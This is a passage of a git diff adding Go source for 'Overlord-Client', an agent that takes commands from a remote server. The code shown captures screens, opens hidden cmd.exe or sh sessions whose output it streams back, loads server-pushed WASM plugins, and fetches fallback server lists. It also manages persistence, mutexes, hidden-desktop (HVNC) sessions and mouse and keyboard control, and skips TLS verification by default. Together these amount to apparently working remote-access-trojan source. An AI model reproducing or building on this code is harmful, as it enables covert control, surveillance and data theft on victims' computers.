dy*dst.Stride + dx*4 + dst.Pix[di+0] = sRow[si+2] + dst.Pix[di+1] = sRow[si+1] + dst.Pix[di+2] = sRow[si+0] + dst.Pix[di+3] = 255 + } + } + return dst + default: + dst := image.NewRGBA(image.Rect(0, 0, width, height)) + for y := 0; y < height; y++ { + sRow := src[y*pitch : y*pitch+width*4] + dRow := dst.Pix[y*dst.Stride : y*dst.Stride+width*4] + for x := 0; x < width; x++ { + si := x * 4 + di := si + dRow[di+0] = sRow[si+2] + dRow[di+1] = sRow[si+1] + dRow[di+2] = sRow[si+0] + dRow[di+3] = 255 + } + } + return dst + } +} + +func drawCursorRotated(img *image.RGBA, cursorBounds, captureBounds image.Rectangle, rotation uint32) { + if !cursorCaptureEnabled.Load() { + return + } + var ci cursorInfo + ci.cbSize = uint32(unsafe.Sizeof(ci)) + ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci))) + if ret == 0 || (ci.flags&CURSOR_SHOWING) == 0 || ci.hCursor == 0 { + return + } + + curX := ci.ptScreenPos.x + curY := ci.ptScreenPos.y + + var icon iconInfo + ret, _, _ = procGetIconInfo.Call(ci.hCursor, uintptr(unsafe.Pointer(&icon))) + if ret != 0 { + if icon.hbmMask != 0 { + defer deleteObject(icon.hbmMask) + } + if icon.hbmColor != 0 { + defer deleteObject(icon.hbmColor) + } + } + if cursorBounds.Empty() { + cursorBounds = captureBounds + } + + localX := int(curX) - cursorBounds.Min.X + localY := int(curY) - cursorBounds.Min.Y + if localX < 0 || localY < 0 || localX >= cursorBounds.Dx() || localY >= cursorBounds.Dy() { + return + } + + scaleX := float64(captureBounds.Dx()) / float64(cursorBounds.Dx()) + scaleY := float64(captureBounds.Dy()) / float64(cursorBounds.Dy()) + localX = int(float64(localX) * scaleX) + localY = int(float64(localY) * scaleY) + + w := captureBounds.Dx() + h := captureBounds.Dy() + var rx, ry int + switch rotation { + case dxgiModeRotationRotate90: + rx = h - 1 - localY + ry = localX + case dxgiModeRotationRotate180: + rx = w - 1 - localX + ry = h - 1 - localY + case dxgiModeRotationRotate270: + rx = localY + ry = w - 1 - localX + default: + rx = localX + ry = localY + } + rotBounds := image.Rect(0, 0, img.Bounds().Dx(), img.Bounds().Dy()) + if !drawRealCursorOnImage(img, ci.hCursor, int32(rx), int32(ry), int32(icon.xHotspot), int32(icon.yHotspot)) { + drawCursor(img, int32(rx), int32(ry), rotBounds) + } +} + +func drawRealCursorOnImage(img *image.RGBA, hCursor uintptr, hotX, hotY, xHotspot, yHotspot int32) bool { + if img == nil || hCursor == 0 { + return false + } + w := img.Bounds().Dx() + h := img.Bounds().Dy() + if w <= 0 || h <= 0 { + return false + } + + hdcScreen := createDisplayDC() + fromCreateDC := hdcScreen != 0 + if hdcScreen == 0 { + hdcScreen = getDC(0) + if hdcScreen == 0 { + return false + } + } + defer func() { + if fromCreateDC { + deleteDC(hdcScreen) + } else { + releaseDC(0, hdcScreen) + } + }() + + hdcMem := createCompatibleDC(hdcScreen) + if hdcMem == 0 { + return false + } + defer deleteDC(hdcMem) + + bmi := bitmapInfo{ + bmiHeader: bitmapInfoHeader{ + biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})), + biWidth: int32(w), + biHeight: -int32(h), + biPlanes: 1, + biBitCount: 32, + biCompression: BI_RGB, + }, + } + var bits unsafe.Pointer + hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits) + if hbmp == 0 || bits == nil { + return false + } + defer deleteObject(hbmp) + + old := selectObject(hdcMem, hbmp) + if old == 0 { + return false + } + defer selectObject(hdcMem, old) + + dib := unsafe.Slice((*byte)(bits), len(img.Pix)) + copy(dib, img.Pix) + + x := hotX - xHotspot + y := hotY - yHotspot + r, _, _ := procDrawIconEx.Call( + hdcMem, + uintptr(x), + uintptr(y), + hCursor, + 0, + 0, + 0, + 0, + uintptr(DI_NORMAL), + ) + if r == 0 { + return false + } + + copy(img.Pix, dib) + return true +} diff --git a/Overlord-Client/cmd/agent/capture/win_duplication_test.go b/Overlord-Client/cmd/agent/capture/win_duplication_test.go new file mode 100644 index 0000000..4b5a39f --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/win_duplication_test.go @@ -0,0 +1,62 @@ +//go:build windows + +package capture + +import ( + "image" + "testing" +) + +func TestDesktopDuplicationToggleResetsState(t *testing.T) { + dxgiState.mu.Lock() + dxgiState.display = 0 + dxgiState.outputName = "test-output" + dxgiState.bounds = image.Rect(1, 2, 3, 4) + dxgiState.mu.Unlock() + + SetDesktopDuplication(true) + if !useDesktopDuplication() { + t.Fatalf("expected desktop duplication to be enabled") + } + + dxgiState.mu.Lock() + if dxgiState.display != -1 { + dxgiState.mu.Unlock() + t.Fatalf("expected display reset to -1, got %d", dxgiState.display) + } + if dxgiState.outputName != "" { + dxgiState.mu.Unlock() + t.Fatalf("expected outputName reset, got %q", dxgiState.outputName) + } + if dxgiState.bounds != (image.Rectangle{}) { + dxgiState.mu.Unlock() + t.Fatalf("expected bounds reset, got %+v", dxgiState.bounds) + } + dxgiState.mu.Unlock() + + SetDesktopDuplication(false) + if useDesktopDuplication() { + t.Fatalf("expected desktop duplication to be disabled") + } +} + +func TestCaptureDisplayDXGI(t *testing.T) { + if displayCount() == 0 { + t.Skip("no displays detected") + } + + SetDesktopDuplication(true) + t.Cleanup(func() { SetDesktopDuplication(false) }) + + img, err := captureDisplayDXGI(0) + if err != nil { + t.Fatalf("dxgi capture failed: %v", err) + } + if img == nil { + t.Fatalf("dxgi capture returned nil image") + } + bounds := img.Bounds() + if bounds.Dx() <= 0 || bounds.Dy() <= 0 { + t.Fatalf("invalid capture bounds: %dx%d", bounds.Dx(), bounds.Dy()) + } +} diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go new file mode 100644 index 0000000..77cb615 --- /dev/null +++ b/Overlord-Client/cmd/agent/config/config.go @@ -0,0 +1,334 @@ +package config + +import ( + "bufio" + "bytes" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "io" + "log" + "net/http" + "net/url" + "os" + "runtime" + "strings" + "time" +) + +const AgentVersion = "1.0.0" + +var DefaultPersistence = "false" +var DefaultServerURL = "wss://127.0.0.1:5173" +var DefaultServerURLIsRaw = "false" +var DefaultMutex = "" +var DefaultID = "" +var DefaultCountry = "" +var DefaultAgentToken = "" + +const settingsFile = "config/settings.json" +const serverIndexFile = "config/server_index.json" + +type settings struct { + ID string `json:"id"` + HWID string `json:"hwid"` + Country string `json:"country"` + Version string `json:"version"` +} + +type serverIndexData struct { + LastWorkingIndex int `json:"last_working_index"` +} + +type Config struct { + ServerURLs []string + ServerIndex int + RawServerListURL string + Mutex string + ID string + HWID string + Country string + OS string + Arch string + Version string + CaptureInterval time.Duration + DisableCapture bool + EnablePersistence bool + TLSInsecureSkipVerify bool + TLSCAPath string + TLSClientCert string + TLSClientKey string + AgentToken string +} + +func Load() Config { + server := strings.TrimSpace(os.Getenv("OVERLORD_SERVER")) + if server == "" { + server = DefaultServerURL + } + + rawServerFlag := strings.TrimSpace(os.Getenv("OVERLORD_SERVER_RAW")) + if rawServerFlag == "" { + rawServerFlag = DefaultServerURLIsRaw + } + rawServerEnabled := isTruthy(rawServerFlag) + + serverURLs := []string{} + rawServerListURL := "" + if rawServerEnabled { + rawServerListURL = server + if rawServerListURL != "" { + if urls, err := LoadServerURLsFromRaw(rawServerListURL); err != nil { + log.Printf("[config] WARNING: failed to load raw server list from %q: %v", rawServerListURL, err) + } else { + serverURLs = urls + } + } + } else { + for _, url := range strings.Split(server, ",") { + normalized, err := normalizeServerURL(url) + if err != nil { + log.Printf("[config] WARNING: invalid server URL %q: %v", strings.TrimSpace(url), err) + continue + } + if normalized != "" { + serverURLs = append(serverURLs, normalized) + } + } + } + + serverIndex := loadServerIndex() + + fileSettings := readSettings() + defaultHWID := deriveHWID() + interval := 20 * time.Second + if v := strings.TrimSpace(os.Getenv("OVERLORD_CAPTURE_INTERVAL")); v != "" { + if parsed, err := time.ParseDuration(v); err == nil && parsed > 0 { + interval = parsed + } + } + + disableCapture := false + if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_DISABLE_CAPTURE"))); v != "" { + disableCapture = v == "true" || v == "1" || v == "yes" + } + + enablePersistence := strings.ToLower(DefaultPersistence) == "true" + if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_ENABLE_PERSISTENCE"))); v != "" { + enablePersistence = v == "true" || v == "1" || v == "yes" + } + + tlsInsecureSkipVerify := true + if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" { + tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes" + } + tlsCAPath := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CA")) + tlsClientCert := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_CERT")) + tlsClientKey := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_KEY")) + agentToken := strings.TrimSpace(os.Getenv("OVERLORD_AGENT_TOKEN")) + if agentToken == "" { + agentToken = strings.TrimSpace(DefaultAgentToken) + } + + mutex := strings.TrimSpace(os.Getenv("OVERLORD_MUTEX")) + if mutex == "" { + mutex = DefaultMutex + } + mutexLower := strings.ToLower(strings.TrimSpace(mutex)) + if mutexLower == "none" || mutexLower == "disabled" { + mutex = "" + } + + return Config{ + ServerURLs: serverURLs, + ServerIndex: serverIndex, + RawServerListURL: rawServerListURL, + Mutex: strings.TrimSpace(mutex), + ID: defaultHWID, + HWID: firstNonEmpty(fileSettings.HWID, defaultHWID), + EnablePersistence: enablePersistence, + Country: firstNonEmpty(strings.TrimSpace(fileSettings.Country), DefaultCountry), + OS: runtime.GOOS, + Arch: runtime.GOARCH, + Version: firstNonEmpty(fileSettings.Version, AgentVersion), + CaptureInterval: interval, + DisableCapture: disableCapture, + TLSInsecureSkipVerify: tlsInsecureSkipVerify, + TLSCAPath: tlsCAPath, + TLSClientCert: tlsClientCert, + TLSClientKey: tlsClientKey, + AgentToken: agentToken, + } +} + +func isTruthy(value string) bool { + v := strings.ToLower(strings.TrimSpace(value)) + return v == "true" || v == "1" || v == "yes" || v == "y" +} + +func LoadServerURLsFromRaw(rawURL string) ([]string, error) { + trimmed := strings.TrimSpace(rawURL) + if trimmed == "" { + return nil, fmt.Errorf("raw server list URL is empty") + } + + parsed, err := url.Parse(trimmed) + if err != nil { + return nil, err + } + + if parsed.Scheme == "" { + parsed.Scheme = "https" + } + + scheme := strings.ToLower(parsed.Scheme) + if scheme != "https" && scheme != "http" { + return nil, fmt.Errorf("unsupported raw server list scheme: %s", parsed.Scheme) + } + + client := &http.Client{Timeout: 10 * time.Second} + resp, err := client.Get(parsed.String()) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + if resp.StatusCode < 200 || resp.StatusCode >= 300 { + return nil, fmt.Errorf("unexpected status code %d", resp.StatusCode) + } + + body, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + + urls := []string{} + seen := map[string]struct{}{} + scanner := bufio.NewScanner(bytes.NewReader(body)) + for scanner.Scan() { + line := strings.TrimSpace(scanner.Text()) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + normalized, err := normalizeServerURL(line) + if err != nil { + log.Printf("[config] WARNING: invalid server URL in raw list %q: %v", line, err) + continue + } + if normalized == "" { + continue + } + if _, ok := seen[normalized]; ok { + continue + } + seen[normalized] = struct{}{} + urls = append(urls, normalized) + } + + if err := scanner.Err(); err != nil { + return nil, err + } + + if len(urls) == 0 { + return nil, fmt.Errorf("raw server list returned no valid URLs") + } + + return urls, nil +} + +func loadServerIndex() int { + bytes, err := os.ReadFile(serverIndexFile) + if err != nil { + return 0 + } + var data serverIndexData + if err := json.Unmarshal(bytes, &data); err != nil { + return 0 + } + return data.LastWorkingIndex +} + +func SaveServerIndex(index int) error { + data := serverIndexData{LastWorkingIndex: index} + bytes, err := json.Marshal(data) + if err != nil { + return err + } + return os.WriteFile(serverIndexFile, bytes, 0644) +} + +func readSettings() settings { + bytes, err := os.ReadFile(settingsFile) + if err != nil { + return settings{} + } + var s settings + if err := json.Unmarshal(bytes, &s); err != nil { + return settings{} + } + return s +} + +func firstNonEmpty(values ...string) string { + for _, v := range values { + if strings.TrimSpace(v) != "" { + return v + } + } + return "" +} + +func deriveHWID() string { + h := sha256.New() + h.Write([]byte(hostname())) + h.Write([]byte("|")) + h.Write([]byte(os.Getenv("USERNAME"))) + h.Write([]byte("|")) + h.Write([]byte(runtime.GOOS)) + h.Write([]byte("|")) + h.Write([]byte(runtime.GOARCH)) + return hex.EncodeToString(h.Sum(nil)) +} + +func hostname() string { + h, err := os.Hostname() + if err != nil { + return "unknown" + } + return h +} + +func normalizeServerURL(raw string) (string, error) { + trimmed := strings.TrimSpace(raw) + if trimmed == "" { + return "", nil + } + + normalized := trimmed + if !strings.Contains(normalized, "://") { + normalized = "wss://" + normalized + } + + parsed, err := url.Parse(normalized) + if err != nil { + return "", err + } + + switch strings.ToLower(parsed.Scheme) { + case "ws", "wss": + case "http": + parsed.Scheme = "ws" + case "https": + parsed.Scheme = "wss" + default: + return "", fmt.Errorf("unsupported scheme: %s", parsed.Scheme) + } + + if parsed.Host == "" { + return "", fmt.Errorf("missing host") + } + + parsed.Path = strings.TrimRight(parsed.Path, "/") + return parsed.String(), nil +} diff --git a/Overlord-Client/cmd/agent/console/console.go b/Overlord-Client/cmd/agent/console/console.go new file mode 100644 index 0000000..0c53b5f --- /dev/null +++ b/Overlord-Client/cmd/agent/console/console.go @@ -0,0 +1,174 @@ +package console + +import ( + "context" + "errors" + "io" + "os" + "os/exec" + "runtime" + "sync" + + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +type session struct { + id string + cmd *exec.Cmd + stdin io.WriteCloser + cancel context.CancelFunc + env *rt.Env + closed chan struct{} + once sync.Once +} + +var sessions sync.Map + +func shellCommand() []string { + if runtime.GOOS == "windows" { + return []string{"cmd.exe", "/d"} + } + + return []string{"/bin/sh"} +} + +func Start(ctx context.Context, env *rt.Env, sessionID string, _ int, _ int) error { + if sessionID == "" { + return errors.New("session id required") + } + + Stop(sessionID) + + parts := shellCommand() + cctx, cancel := context.WithCancel(ctx) + cmd := exec.CommandContext(cctx, parts[0], parts[1:]...) + if attr := platformSysProcAttr(); attr != nil { + cmd.SysProcAttr = attr + } + cmd.Env = append(os.Environ(), "CLINK_NOAUTORUN=1") + + stdin, err := cmd.StdinPipe() + if err != nil { + cancel() + return err + } + stdout, err := cmd.StdoutPipe() + if err != nil { + cancel() + return err + } + stderr, err := cmd.StderrPipe() + if err != nil { + cancel() + return err + } + + if err := cmd.Start(); err != nil { + cancel() + return err + } + + sess := &session{id: sessionID, cmd: cmd, stdin: stdin, cancel: cancel, env: env, closed: make(chan struct{})} + sessions.Store(sessionID, sess) + + go sess.forwardOutput(stdout) + go sess.forwardOutput(stderr) + go sess.waitExit() + + return nil +} + +func Stop(sessionID string) { + val, ok := sessions.LoadAndDelete(sessionID) + if !ok { + return + } + sess := val.(*session) + sess.cancel() + if sess.cmd.Process != nil { + _ = sess.cmd.Process.Kill() + } + sess.once.Do(func() { close(sess.closed) }) +} + +func Input(sessionID string, data string) error { + val, ok := sessions.Load(sessionID) + if !ok { + return errors.New("session not found") + } + sess := val.(*session) + if sess.stdin == nil { + return errors.New("stdin missing") + } + _, err := sess.stdin.Write([]byte(data)) + return err +} + +func Resize(_ string, _ int, _ int) { + +} + +func (s *session) forwardOutput(r io.Reader) { + buf := make([]byte, 4096) + for { + n, err := r.Read(buf) + if n > 0 { + clean := stripBackspaces(buf[:n]) + if len(clean) > 0 { + _ = sendOutput(s.env, s.id, clean, nil, "") + } + } + if err != nil { + return + } + } +} + +func (s *session) waitExit() { + err := s.cmd.Wait() + var codePtr *int + msg := "" + if err != nil { + if exitErr, ok := err.(*exec.ExitError); ok { + code := exitErr.ExitCode() + codePtr = &code + } else { + msg = err.Error() + } + } else { + code := 0 + codePtr = &code + } + _ = sendOutput(s.env, s.id, nil, codePtr, msg) + sessions.Delete(s.id) + s.once.Do(func() { close(s.closed) }) +} + +func sendOutput(env *rt.Env, sessionID string, data []byte, exitCode *int, errMsg string) error { + payload := wire.ConsoleOutput{Type: "console_output", SessionID: sessionID} + if len(data) > 0 { + payload.Data = data + } + if errMsg != "" { + payload.Error = errMsg + } + if exitCode != nil { + payload.ExitCode = exitCode + } + return wire.WriteMsg(context.Background(), env.Conn, payload) +} + +func stripBackspaces(src []byte) []byte { + out := make([]byte, 0, len(src)) + for _, b := range src { + if b == '\b' { + if len(out) > 0 { + out = out[:len(out)-1] + } + continue + } + out = append(out, b) + } + return out +} diff --git a/Overlord-Client/cmd/agent/console/sysproc_other.go b/Overlord-Client/cmd/agent/console/sysproc_other.go new file mode 100644 index 0000000..04f49ed --- /dev/null +++ b/Overlord-Client/cmd/agent/console/sysproc_other.go @@ -0,0 +1,9 @@ +//go:build !windows + +package console + +import "syscall" + +func platformSysProcAttr() *syscall.SysProcAttr { + return nil +} diff --git a/Overlord-Client/cmd/agent/console/sysproc_windows.go b/Overlord-Client/cmd/agent/console/sysproc_windows.go new file mode 100644 index 0000000..3abc35b --- /dev/null +++ b/Overlord-Client/cmd/agent/console/sysproc_windows.go @@ -0,0 +1,9 @@ +//go:build windows + +package console + +import "syscall" + +func platformSysProcAttr() *syscall.SysProcAttr { + return &syscall.SysProcAttr{HideWindow: true} +} diff --git a/Overlord-Client/cmd/agent/crashlog.go b/Overlord-Client/cmd/agent/crashlog.go new file mode 100644 index 0000000..8bc434e --- /dev/null +++ b/Overlord-Client/cmd/agent/crashlog.go @@ -0,0 +1,83 @@ +package main + +import ( + "context" + "fmt" + "log" + "os" + "path/filepath" + "runtime" + "runtime/debug" + "time" +) + +const crashLogFileName = "crashlogC.log" + +func handleFatalPanic() { + if r := recover(); r != nil { + reason := fmt.Sprintf("panic: %v", r) + stack := debug.Stack() + path := writeCrashLog(reason, stack) + log.Printf("[fatal] %s (see %s)", reason, path) + os.Exit(1) + } +} + +func fatalExit(reason string, err error) { + if err != nil { + reason = fmt.Sprintf("%s: %v", reason, err) + } + if reason == "" { + reason = "fatal error" + } + stack := debug.Stack() + path := writeCrashLog(reason, stack) + log.Printf("[fatal] %s (see %s)", reason, path) + os.Exit(1) +} + +func goSafe(label string, cancel context.CancelFunc, fn func()) { + go func() { + defer recoverAndLog(label, cancel) + fn() + }() +} + +func recoverAndLog(label string, cancel context.CancelFunc) { + if r := recover(); r != nil { + reason := fmt.Sprintf("%s panic: %v", label, r) + stack := debug.Stack() + path := writeCrashLog(reason, stack) + log.Printf("[panic] %s (see %s)", reason, path) + if cancel != nil { + cancel() + } + } +} + +func writeCrashLog(reason string, stack []byte) string { + dir := crashLogDir() + _ = os.MkdirAll(dir, 0700) + path := filepath.Join(dir, crashLogFileName) + + file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600) + if err != nil { + log.Printf("[fatal] failed to open crash log %s: %v", path, err) + return path + } + defer file.Close() + + timestamp := time.Now().UTC().Format(time.RFC3339) + _, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp) + _, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH) + _, _ = fmt.Fprintf(file, "Reason: %s\n", reason) + if len(stack) > 0 { + _, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack)) + } + + return path +} + +func crashLogDir() string { + return os.TempDir() +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go new file mode 100644 index 0000000..805d978 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -0,0 +1,1406 @@ +package handlers + +import ( + "context" + "errors" + "log" + "os" + goruntime "runtime" + "strconv" + "strings" + "sync" + "time" + + "overlord-client/cmd/agent/capture" + "overlord-client/cmd/agent/console" + "overlord-client/cmd/agent/persistence" + "overlord-client/cmd/agent/plugins" + "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +var ErrReconnect = errors.New("reconnect requested") + +var ( + activeCommands = make(map[string]context.CancelFunc) + activeCommandsMu sync.Mutex +) + +func cancelAllCommands() { + activeCommandsMu.Lock() + defer activeCommandsMu.Unlock() + for id, cancel := range activeCommands { + if cancel != nil { + cancel() + } + delete(activeCommands, id) + } +} + +func resetForReconnect(env *runtime.Env) { + if env == nil { + return + } + + cancelAllCommands() + + env.DesktopMu.Lock() + if env.DesktopCancel != nil { + env.DesktopCancel() + } + waitStreamStop(env.DesktopDone, "desktop") + env.DesktopCancel = nil + env.DesktopDone = nil + env.MouseControl = false + env.KeyboardControl = false + env.CursorCapture = false + env.SelectedDisplay = GetPersistedDisplay() + env.DesktopMu.Unlock() + + env.HVNCMu.Lock() + if env.HVNCCancel != nil { + env.HVNCCancel() + } + waitStreamStop(env.HVNCDone, "hvnc") + env.HVNCCancel = nil + env.HVNCDone = nil + env.HVNCMouseControl = false + env.HVNCKeyboardControl = false + env.HVNCCursorCapture = false + env.HVNCSelectedDisplay = 0 + env.HVNCMu.Unlock() + + if env.Console != nil { + env.Console.StopAll() + } + + env.NotificationMu.Lock() + env.NotificationKeywords = nil + env.NotificationMinIntervalMs = 0 + env.NotificationMu.Unlock() +} + +func removePersistence() error { + return persistence.Remove() +} + +func registerCancellableCommand(cmdID string, cancel context.CancelFunc) { + activeCommandsMu.Lock() + defer activeCommandsMu.Unlock() + activeCommands[cmdID] = cancel +} + +func unregisterCommand(cmdID string) { + activeCommandsMu.Lock() + defer activeCommandsMu.Unlock() + delete(activeCommands, cmdID) +} + +func waitStreamStop(done <-chan struct{}, name string) { + if done == nil { + return + } + select { + case <-done: + return + case <-time.After(2 * time.Second): + log.Printf("%s: stop timed out", name) + } +} + +func payloadAsMap(payload interface{}) map[string]interface{} { + switch v := payload.(type) { + case map[string]interface{}: + return v + case map[interface{}]interface{}: + out := make(map[string]interface{}, len(v)) + for key, val := range v { + switch ks := key.(type) { + case string: + out[ks] = val + case []byte: + out[string(ks)] = val + } + } + return out + default: + return nil + } +} + +func payloadInt32(payload map[string]interface{}, key string) (int32, bool) { + if payload == nil { + return 0, false + } + if v, ok := payload[key]; ok { + switch val := v.(type) { + case float64: + return int32(val), true + case float32: + return int32(val), true + case int: + return int32(val), true + case int8: + return int32(val), true + case int16: + return int32(val), true + case int32: + return val, true + case int64: + return int32(val), true + case uint: + return int32(val), true + case uint8: + return int32(val), true + case uint16: + return int32(val), true + case uint32: + return int32(val), true + case uint64: + return int32(val), true + } + } + return 0, false +} + +func payloadInt(payload map[string]interface{}, key string) (int, bool) { + if payload == nil { + return 0, false + } + if v, ok := payload[key]; ok { + switch val := v.(type) { + case float64: + return int(val), true + case float32: + return int(val), true + case int: + return val, true + case int8: + return int(val), true + case int16: + return int(val), true + case int32: + return int(val), true + case int64: + return int(val), true + case uint: + return int(val), true + case uint8: + return int(val), true + case uint16: + return int(val), true + case uint32: + return int(val), true + case uint64: + return int(val), true + } + } + return 0, false +} + +func cancelCommand(cmdID string) bool { + activeCommandsMu.Lock() + defer activeCommandsMu.Unlock() + if cancel, exists := activeCommands[cmdID]; exists { + cancel() + delete(activeCommands, cmdID) + return true + } + return false +} + +func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message string) { + res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: ok} + if message != "" { + res.Message = message + } + if err := wire.WriteMsg(context.Background(), env.Conn, res); err != nil { + log.Printf("command_result send failed: %v", err) + } +} + +func payloadNumberToInt64(value interface{}) int64 { + switch v := value.(type) { + case int: + return int64(v) + case int8: + return int64(v) + case int16: + return int64(v) + case int32: + return int64(v) + case int64: + return v + case uint: + return int64(v) + case uint8: + return int64(v) + case uint16: + return int64(v) + case uint32: + return int64(v) + case uint64: + return int64(v) + case float32: + return int64(v) + case float64: + return int64(v) + default: + return 0 + } +} + +func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error { + cmdID, _ := envelope["id"].(string) + action, _ := envelope["commandType"].(string) + + switch action { + case "screenshot": + payload, _ := envelope["payload"].(map[string]interface{}) + allDisplays := false + if payload != nil { + if v, ok := payload["allDisplays"].(bool); ok && v { + allDisplays = true + } else if mode, ok := payload["mode"].(string); ok && mode == "notification" { + allDisplays = true + } + } + if goruntime.GOOS == "windows" { + allDisplays = true + } + return HandleScreenshot(ctx, env, cmdID, allDisplays) + case "plugin_load": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"}) + } + manifestRaw, _ := payload["manifest"].(map[string]interface{}) + wasmBytes, _ := payload["wasm"].([]byte) + if env.Plugins == nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "plugin manager not ready"}) + } + manifest, err := plugins.ManifestFromMap(manifestRaw) + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + } + if err := env.Plugins.Load(ctx, manifest, wasmBytes); err != nil { + _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "error", Error: err.Error()}) + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + } + _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "loaded"}) + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "plugin_load_init": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil || env.Plugins == nil { + return nil + } + manifestRaw, _ := payload["manifest"].(map[string]interface{}) + totalSize := toInt(payload["size"]) + totalChunks := toInt(payload["chunks"]) + manifest, err := plugins.ManifestFromMap(manifestRaw) + if err != nil { + return nil + } + _ = env.Plugins.StartBundle(manifest, totalSize, totalChunks) + return nil + case "plugin_load_chunk": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil || env.Plugins == nil { + return nil + } + pluginId, _ := payload["pluginId"].(string) + index := toInt(payload["index"]) + data, _ := payload["data"].([]byte) + _ = env.Plugins.AddChunk(pluginId, index, data) + return nil + case "plugin_load_finish": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil || env.Plugins == nil { + return nil + } + pluginId, _ := payload["pluginId"].(string) + if pluginId == "" { + return nil + } + if err := env.Plugins.FinalizeBundle(ctx, pluginId); err != nil { + _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "error", Error: err.Error()}) + return nil + } + _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "loaded"}) + return nil + case "plugin_unload": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil || env.Plugins == nil { + return nil + } + pluginId, _ := payload["pluginId"].(string) + if pluginId == "" { + return nil + } + env.Plugins.Unload(pluginId) + _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"}) + return nil + case "desktop_start": + env.DesktopMu.Lock() + if env.DesktopCancel != nil { + env.DesktopCancel() + waitStreamStop(env.DesktopDone, "desktop") + } + desktopCtx, cancel := context.WithCancel(ctx) + env.DesktopCancel = cancel + done := make(chan struct{}) + env.DesktopDone = done + goSafe("desktop stream", env.Cancel, func() { + log.Printf("desktop: start requested") + _ = DesktopStart(desktopCtx, env) + close(done) + }) + env.DesktopMu.Unlock() + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_stop": + env.DesktopMu.Lock() + log.Printf("desktop: stop requested") + if env.DesktopCancel != nil { + env.DesktopCancel() + } + waitStreamStop(env.DesktopDone, "desktop") + env.DesktopCancel = nil + env.DesktopDone = nil + env.DesktopMu.Unlock() + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_select_display": + + payload, _ := envelope["payload"].(map[string]interface{}) + disp := 0 + if payload != nil { + displayVal := payload["display"] + + if v, ok := displayVal.(int8); ok { + disp = int(v) + } else if v, ok := displayVal.(int16); ok { + disp = int(v) + } else if v, ok := displayVal.(int32); ok { + disp = int(v) + } else if v, ok := displayVal.(int64); ok { + disp = int(v) + } else if v, ok := displayVal.(int); ok { + disp = v + } else if v, ok := displayVal.(uint8); ok { + disp = int(v) + } else if v, ok := displayVal.(float64); ok { + disp = int(v) + } + } + log.Printf("desktop: select display %d", disp) + _ = DesktopSelect(ctx, env, disp) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_enable_mouse": + payload, _ := envelope["payload"].(map[string]interface{}) + enabled := true + if payload != nil { + if v, ok := payload["enabled"].(bool); ok { + enabled = v + } + } + log.Printf("desktop: mouse control %v", enabled) + _ = DesktopMouseControl(ctx, env, enabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_enable_keyboard": + payload, _ := envelope["payload"].(map[string]interface{}) + enabled := true + if payload != nil { + if v, ok := payload["enabled"].(bool); ok { + enabled = v + } + } + log.Printf("desktop: keyboard control %v", enabled) + _ = DesktopKeyboardControl(ctx, env, enabled) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_enable_cursor": + payload, _ := envelope["payload"].(map[string]interface{}) + enabled := false + if payload != nil { + if v, ok := payload["enabled"].(bool); ok { + enabled = v + } + } + log.Printf("desktop: cursor capture %v", enabled) + _ = DesktopCursorControl(ctx, env, enabled) + 